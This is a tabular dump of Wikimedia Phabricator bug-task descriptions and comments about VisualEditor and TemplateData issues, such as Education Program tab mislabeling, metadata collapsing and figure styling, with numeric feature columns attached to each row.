244661,"VisualEditor: Edit tab replaced with ""Create source"" for Education Program pages","From a quick investigation it looks like there are about a dozen different ways in which VisualEditor can reasonably find out that the page is not a real wikipage.

Not one of them is being used by EP right now.

* It's pretending to be a wiki page (by having its own namespace and using action=view, albeit overridden, to render the dynamically constructed page).

* Generally this is something we have Special pages for. If the rendering is completely taken over (as in, there is no page table entry, no revisions table entries etc.), it should be a Special page. Or at least a custom namespace with a negative namespace id.

* It abuses existing WikiPage action queries (action=edit, action=delete), which doesn't make sense because it isn't a WikiPage. So inherently this is going to cause trouble because:
  1) They aren't compatible (the query string parameters Action pages take aren't supported, other than title=).
  2) It doesn't scale. Right now they take over move, delete, edit and view. But there are more page actions, and by design they will not support all of them (they override the ones they re-implement and the rest just fails). For example ""View history"" (action=history) is quite useless right now. And action=edit doesn't work as expected. Not to mention API actions, none of those are working as expected.
  3) Existence check impossible.  Because they aren't actually wiki pages with page and revision ids, existence check isn't possible. ContentModel can't be overridden because it doesn't use wikipage content. All pages are considered inexistent pages in a custom namespace, and then overridden to exist in some cases.

There are many different ways in which EP could indicate in a standard / reliable way that doesn't require other code to hardcode for EP specifically, and it doesn't seem to be using any of them.

I'd say EP should either let us know how to generically detect it without being EP specific, or it should implement support to at least do one thing right. Possibly we could do the latter ourselves (maybe Alex is interested in patching EP).",,,1397241093,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-4lk6qpiuan7kbk6fch54,task_subcomment,,True,c1,3,True,,,40,,1.0,0.2,0.2,1.0,3.2,6.6,1.8,0.8,0.0,0.2,2.0,2.6,0.0,0.0,0.8,1.4,0.2,8.2,10.0,0.4,1.6,0.6,0.0,0.0,0.0,0.4,0.4,0.0,0.6,0.4,0.0,7.0,2.0,2.2,0.4,0.0,0.2,0.2,0.8,0.4,0.4,1.8,0.6,2.4,0.4,0.4,0.0,0.2,0.0,12.4,0.6,0.2,0.2,0.4,0.2,0.0,0.0,0.0,0.8,0.0,0.4,2.4,0.2,0.0,0.0,0.2,0.2,3.4,4.8,7.6,1.6,2.2,6.0,0.0,0.0,0.0,0.0,5.8,0.0,0.6,0.0,5.4,10.0,2.2,0.0,0.4,0.0,5.4,0.0,1.0,2.0,1.0,1.6,0.2,0.4,1.0,3.944356486210419,0.747191011235955,"From a quick investigation it looks like there are about a dozen different ways in which VisualEditor can reasonably find out that the page is not a real wikipage.

Not one of them is being used by EP right now.

* It's pretending to be a wiki page (by having its own namespace and using action=view, albeit overridden, to render the dynamically constructed page).

* Generally this is something we have Special pages for. If the rendering is completely taken over (as in, there is no page table entry, no revisions table entries etc.), it should be a Special page. Or at least a custom namespace with a negative namespace id.

* It abuses existing WikiPage action queries (action=edit, action=delete), which doesn't make sense because it isn't a WikiPage. So inherently this is going to cause trouble because:
  1) They aren't compatible (the query string parameters Action pages take aren't supported, other than title=).
  2) It doesn't scale. Right now they take over move, delete, edit and view. But there are more page actions, and by design they will not support all of them (they override the ones they re-implement and the rest just fails). For example ""View history"" (action=history) is quite useless right now. And action=edit doesn't work as expected. Not to mention API actions, none of those are working as expected.
  3) Existence check impossible.  Because they aren't actually wiki pages with page and revision ids, existence check isn't possible. ContentModel can't be overridden because it doesn't use wikipage content. All pages are considered inexistent pages in a custom namespace, and then overridden to exist in some cases.

There are many different ways in which EP could indicate in a standard / reliable way that doesn't require other code to hardcode for EP specifically, and it doesn't seem to be using any of them.

I'd say EP should either let us know how to generically detect it without being EP specific, or it should implement support to at least do one thing right. Possibly we could do the latter ourselves (maybe Alex is interested in patching EP)."
244658,"VisualEditor: Edit tab replaced with ""Create source"" for Education Program pages","Change 125233 had a related patch set uploaded by Alex Monk:
Only make tab changes on articles

https://gerrit.wikimedia.org/r/125233",,,1397151063,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4lk6qpiuan7kbk6fch54,task_subcomment,,True,c1,3,False,,,40,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,"Change 125233 had a related patch set uploaded by Alex Monk:
Only make tab changes on articles

GERRIT_URL"
244655,"VisualEditor: Edit tab replaced with ""Create source"" for Education Program pages",I think VE shouldn't be modifying tabs on pages which aren't articles (check wgIsArticle is true before doing anything).,,,1396995419,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-4lk6qpiuan7kbk6fch54,task_subcomment,,True,c1,3,True,,,40,,0.0,4.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,4.25,0.9583333333333334,I think VE shouldn't be modifying tabs on pages which aren't articles (check wgIsArticle is true before doing anything).
244651,"VisualEditor: Edit tab replaced with ""Create source"" for Education Program pages","Slinging to Alex – not sure what the fix here would be (it feels like overriding the semantics of a tab is something that should involve a class change, really) – thoughts?",,,1396986708,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4lk6qpiuan7kbk6fch54,task_subcomment,,True,c1,3,True,,,40,,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,8.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,8.0,3.0,3.0,0.0,0.0,3.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,3.9166666666666665,0.9166666666666666,"Slinging to Alex – not sure what the fix here would be (it feels like overriding the semantics of a tab is something that should involve a class change, really) – thoughts?"
244643,"VisualEditor: Edit tab replaced with ""Create source"" for Education Program pages","Hi James, just noting for the record that this is still quite problematic, and we very much appreciate any efforts to fix it. :)",,,1396986438,,PHID-USER-brn4v5ta45bnw4f5as3h,False,,,PHID-TASK-4lk6qpiuan7kbk6fch54,task_subcomment,,True,c1,3,False,,,40,,7.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,4.0,4.0,11.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,7.0,11.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.888888888888889,0.9629629629629629,"Hi James, just noting for the record that this is still quite problematic, and we very much appreciate any efforts to fix it. :)"
244637,"VisualEditor: Edit tab replaced with ""Create source"" for Education Program pages",*** Bug 56844 has been marked as a duplicate of this bug. ***,,,1384096303,,PHID-USER-nyv6rqxnzdy3oe323a3d,False,,,PHID-TASK-4lk6qpiuan7kbk6fch54,task_subcomment,,True,c1,3,False,,,18,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 56844 has been marked as a duplicate of this bug. ***
244633,"VisualEditor: Edit tab replaced with ""Create source"" for Education Program pages","@James: Any chance of getting this fixed soon? Now is when many instructors who are new to Wikipedia will be trying to set up their course pages, and the mislabeled tab is likely to confuse.",,,1378409168,,PHID-USER-nyv6rqxnzdy3oe323a3d,False,,,PHID-TASK-4lk6qpiuan7kbk6fch54,task_subcomment,,True,c1,3,False,,,9,,5.0,0.0,0.0,0.0,0.0,10.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,13.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,10.0,10.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,13.0,3.0,3.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,4.128205128205129,0.9230769230769231,"SCREEN_NAME: Any chance of getting this fixed soon? Now is when many instructors who are new to Wikipedia will be trying to set up their course pages, and the mislabeled tab is likely to confuse."
55445,VisualEditor: Metadata information missing from transaction when content is inserted,"The final case in ve.dm.Document.getMetadataReplace() applies if insert.length > remove.length.  But in this case only the 'retain' and 'insert' fields are set on the returned object.  In ve.dm.Transaction.pushReplace() we only add the {retain,remove,insert}Metadata fields to the operation if the 'remove' field on the object returned from getMetadataReplace() is not undefined.  So these fields won't be set correctly if insert.length > remove.length.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1377652560,1378261401.0,PHID-USER-m2ezqyeb4uz67zq6bats,False,,False,PHID-TASK-5jzwlml42c5fglrwtkfi,task_description,resolved,True,c1,3,True,False,True,8,,0.0,0.0,0.0,1.5,2.0,3.5,1.0,0.0,0.0,2.5,1.5,5.0,0.0,1.0,0.0,0.5,0.0,4.5,7.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,2.5,5.5,2.5,1.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,7.0,4.0,0.0,4.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,4.305555555555555,0.7037037037037037,"The final case in ve.dm.Document.getMetadataReplace() applies if insert.length > remove.length.  But in this case only the 'retain' and 'insert' fields are set on the returned object.  In ve.dm.Transaction.pushReplace() we only add the {retain,remove,insert}Metadata fields to the operation if the 'remove' field on the object returned from getMetadataReplace() is not undefined.  So these fields won't be set correctly if insert.length > remove.length.

--------------------------
**Version**: unspecified
**Severity**: normal"
242791,VisualEditor: Metadata information missing from transaction when content is inserted,"Change 81928 merged by jenkins-bot:
Collapse metadata on any removal.

https://gerrit.wikimedia.org/r/81928",,,1378261353,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jzwlml42c5fglrwtkfi,task_subcomment,,True,c1,3,False,,,9,,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.294117647058823,1.0,"Change 81928 merged by jenkins-bot:
Collapse metadata on any removal.

GERRIT_URL"
242785,VisualEditor: Metadata information missing from transaction when content is inserted,"Change 81928 had a related patch set uploaded by Cscott:
Collapse metadata on any removal.

https://gerrit.wikimedia.org/r/81928",,,1377870978,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5jzwlml42c5fglrwtkfi,task_subcomment,,True,c1,3,False,,,8,,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.45,1.0,"Change 81928 had a related patch set uploaded by Cscott:
Collapse metadata on any removal.

GERRIT_URL"
55444,VisualEditor: Metadata should always be collapsed on replace,"In ve.dm.Document.getMetadataReplace(), we only merge metadata if the amount removed is larger than the amount inserted.  But this could end up putting metadata in odd positions, for example if you have Foo[[Category:Bar]]BazQuux and you delete 'ooBa' and replace it with {image}xxx{/image}, then the category ends up inside the image.

We should always merge metadata when a segment is deleted, so that it appears outside any new structure added.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1377652320,1378261378.0,PHID-USER-m2ezqyeb4uz67zq6bats,False,,False,PHID-TASK-bcaoiws3nuti2nsjkjz3,task_description,resolved,True,c1,3,True,False,True,8,,1.0,0.0,0.0,1.0,0.0,4.0,0.5,0.0,0.0,1.0,1.0,1.0,0.0,0.5,0.0,1.5,0.0,4.0,9.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,2.0,0.5,0.0,0.0,5.0,0.0,1.5,1.0,1.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,0.0,0.0,9.5,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,1.5,5.5,4.0,1.5,5.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,9.0,1.0,0.0,1.0,0.0,4.0,0.0,1.0,1.0,0.0,0.5,0.5,0.0,0.0,4.313497822931785,0.7900943396226415,"In ve.dm.Document.getMetadataReplace(), we only merge metadata if the amount removed is larger than the amount inserted.  But this could end up putting metadata in odd positions, for example if you have Foo[[Category:Bar]]BazQuux and you delete 'ooBa' and replace it with {image}xxx{/image}, then the category ends up inside the image.

We should always merge metadata when a segment is deleted, so that it appears outside any new structure added.

--------------------------
**Version**: unspecified
**Severity**: normal"
242747,VisualEditor: Metadata should always be collapsed on replace,"Change 81928 merged by jenkins-bot:
Collapse metadata on any removal.

https://gerrit.wikimedia.org/r/81928",,,1378261355,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bcaoiws3nuti2nsjkjz3,task_subcomment,,True,c1,3,False,,,9,,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.294117647058823,1.0,"Change 81928 merged by jenkins-bot:
Collapse metadata on any removal.

GERRIT_URL"
242738,VisualEditor: Metadata should always be collapsed on replace,"Change 81928 had a related patch set uploaded by Cscott:
Collapse metadata on any removal.

https://gerrit.wikimedia.org/r/81928",,,1377870974,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bcaoiws3nuti2nsjkjz3,task_subcomment,,True,c1,3,False,,,8,,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.45,1.0,"Change 81928 had a related patch set uploaded by Cscott:
Collapse metadata on any removal.

GERRIT_URL"
55436,"VisualEditor: Style Parsoid's <figure>s to look like MediaWiki's <div class=""thumb"">s rather than replacing them","Right now VisualEditor transforms the HTML Parsoid gives us (which is nicely-structured <figure>s) into the mess of <div>s that MediaWiki's PHP parser throws out (up?). This is so that VE's rendered HTML magically inherits the styling that the images get on the read page, which includes

Instead, we should just style these using CSS. However, this is difficult because the styles are specific to <div>s with known classes (and Parsoid's HTML has no <div>s), and is often over-ridden in wiki- or user-specific CSS (e.g. Wikia's sites' skins, or that on Cherokee Wikipedia).

From quickly playing around, a basic CSS style that implements core-MW would be something like:

figure
	float: right;
	border: 1px solid #CCC;
	padding: 3px;
	width: 172px;
	background: #FAFAFA;
	font-size: 13px;
	margin-right: 1.2em;

img
	border: 1px solid #CCC;

figcaption
	padding: 3px;
	font-size: smaller;
	line-height: 1.4em;
	width: 15em;
	margin: 2px 0px;
	padding-top: 0px;

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1377645300,1386874061.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-w64szlorn34djdoon7kx,task_description,resolved,True,c1,3,True,False,False,8,,0.0,0.3333333333333333,0.0,0.0,0.0,5.333333333333333,1.0,0.3333333333333333,0.0,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,4.0,5.333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,5.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,1.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,16.333333333333332,1.0,1.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,2.3333333333333335,2.0,9.0,1.6666666666666667,1.3333333333333333,4.333333333333333,0.0,0.0,0.0,1.0,0.6666666666666666,0.0,2.0,0.0,0.6666666666666666,5.333333333333333,6.666666666666667,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,2.0,3.4286687095675856,0.6411729656111679,"Right now VisualEditor transforms the HTML Parsoid gives us (which is nicely-structured <figure>s) into the mess of <div>s that MediaWiki's PHP parser throws out (up?). This is so that VE's rendered HTML magically inherits the styling that the images get on the read page, which includes

Instead, we should just style these using CSS. However, this is difficult because the styles are specific to <div>s with known classes (and Parsoid's HTML has no <div>s), and is often over-ridden in wiki- or user-specific CSS (e.g. Wikia's sites' skins, or that on Cherokee Wikipedia).

From quickly playing around, a basic CSS style that implements core-MW would be something like:

figure
	float: right;
	border: 1px solid #CCC;
	padding: 3px;
	width: 172px;
	background: #FAFAFA;
	font-size: 13px;
	margin-right: 1.2em;

img
	border: 1px solid #CCC;

figcaption
	padding: 3px;
	font-size: smaller;
	line-height: 1.4em;
	width: 15em;
	margin: 2px 0px;
	padding-top: 0px;

--------------------------
**Version**: unspecified
**Severity**: major"
242319,"VisualEditor: Style Parsoid's <figure>s to look like MediaWiki's <div class=""thumb"">s rather than replacing them","Change 93417 merged by jenkins-bot:
Render CE MWBlockImageNodes as styled <figure>s

https://gerrit.wikimedia.org/r/93417",,,1386874034,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-w64szlorn34djdoon7kx,task_subcomment,,True,c1,3,False,,,23,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.3,1.0,"Change 93417 merged by jenkins-bot:
Render CE MWBlockImageNodes as styled <figure>s

GERRIT_URL"
242317,"VisualEditor: Style Parsoid's <figure>s to look like MediaWiki's <div class=""thumb"">s rather than replacing them","Change 93417 had a related patch set uploaded by Jforrester:
Render CE MWBlockImageNodes as styled <figure>s

https://gerrit.wikimedia.org/r/93417",,,1386213845,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-w64szlorn34djdoon7kx,task_subcomment,,True,c1,3,False,,,22,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,26.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,4.608695652173913,1.0,"Change 93417 had a related patch set uploaded by Jforrester:
Render CE MWBlockImageNodes as styled <figure>s

GERRIT_URL"
55413,"TemplateData: Consider support for non-template transclusions (magic words, parser functions)","Right now it is only intended for data about custom wiki-made templates.

To support magic words and parser functions, we'll need to make a few changes to make sure there are no conflicts or wrong assumptions.

A few random points:
* 'titles' parameter in the API module
* The PHP parser prefers native magic word over templates (creating Template:PAGENAME and using {{PAGENAME}}, will not use that template).
* Should there be an implied property 'type':
  - type:template -> {{Foo}}, {{:Foo}}, {{Template:Foo}}, {{Project:Foo}}
  - type:parserfunction -> {{PAGENAME}}, {{urlencode:123}}, {{#special:Watchlist}}

* parser functions don't have numerical parameters, and the first parameter is separated by colon, not by pipe. So we need a way (both in TemplateData and VisualEditor) to insert unnamed parameters without using numbers.

 e.g. {{urlencode:Foo|WIKI}} is correct, but {{urlencode:Foo|1=WIKI}} or {{urlencode:1=Foo|2=WIKI}} or {{urlencode|1=Foo|2=WIKI}} is wrong.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1377627060,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-ibe45dq6vmicfsr4xdu7,task_description,open,True,c1,3,True,False,,8,,0.6666666666666666,0.0,0.0,0.6666666666666666,1.0,6.333333333333333,0.6666666666666666,0.0,0.0,0.0,1.0,2.0,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,2.6666666666666665,4.333333333333333,0.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,2.6666666666666665,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,2.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,15.333333333333334,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,2.0,10.333333333333334,0.0,2.6666666666666665,3.3333333333333335,0.0,0.0,0.0,0.3333333333333333,2.6666666666666665,0.0,0.0,0.0,1.0,4.333333333333333,6.0,0.0,1.3333333333333333,0.0,1.0,0.0,0.0,1.3333333333333333,0.0,1.0,0.0,0.0,0.6666666666666666,3.4148148148148145,0.6074074074074074,"Right now it is only intended for data about custom wiki-made templates.

To support magic words and parser functions, we'll need to make a few changes to make sure there are no conflicts or wrong assumptions.

A few random points:
* 'titles' parameter in the API module
* The PHP parser prefers native magic word over templates (creating Template:PAGENAME and using {{PAGENAME}}, will not use that template).
* Should there be an implied property 'type':
  - type:template -> {{Foo}}, {{:Foo}}, {{Template:Foo}}, {{Project:Foo}}
  - type:parserfunction -> {{PAGENAME}}, {{urlencode:123}}, {{#special:Watchlist}}

* parser functions don't have numerical parameters, and the first parameter is separated by colon, not by pipe. So we need a way (both in TemplateData and VisualEditor) to insert unnamed parameters without using numbers.

 e.g. {{urlencode:Foo|WIKI}} is correct, but {{urlencode:Foo|1=WIKI}} or {{urlencode:1=Foo|2=WIKI}} or {{urlencode|1=Foo|2=WIKI}} is wrong.

--------------------------
**Version**: unspecified
**Severity**: normal"
1960990,"TemplateData: Consider support for non-template transclusions (magic words, parser functions)","Change 819740 had a related patch set uploaded (by C. Scott Ananian; author: C. Scott Ananian):
%%%[mediawiki/extensions/TemplateData@master] Specification.md: Update to add parser functions and extension tags%%%
https://gerrit.wikimedia.org/r/819740",,,1659473886,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ibe45dq6vmicfsr4xdu7,task_subcomment,,True,c1,3,False,,,474,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,26.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,7.0,2.0,0.0,0.0,7.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,4.627906976744186,0.813953488372093,"Change 819740 had a related patch set uploaded (by C. Scott Ananian; author: C. Scott Ananian):
%%%[mediawiki/extensions/TemplateData@master] Specification.md: Update to add parser functions and extension tags%%%
GERRIT_URL"
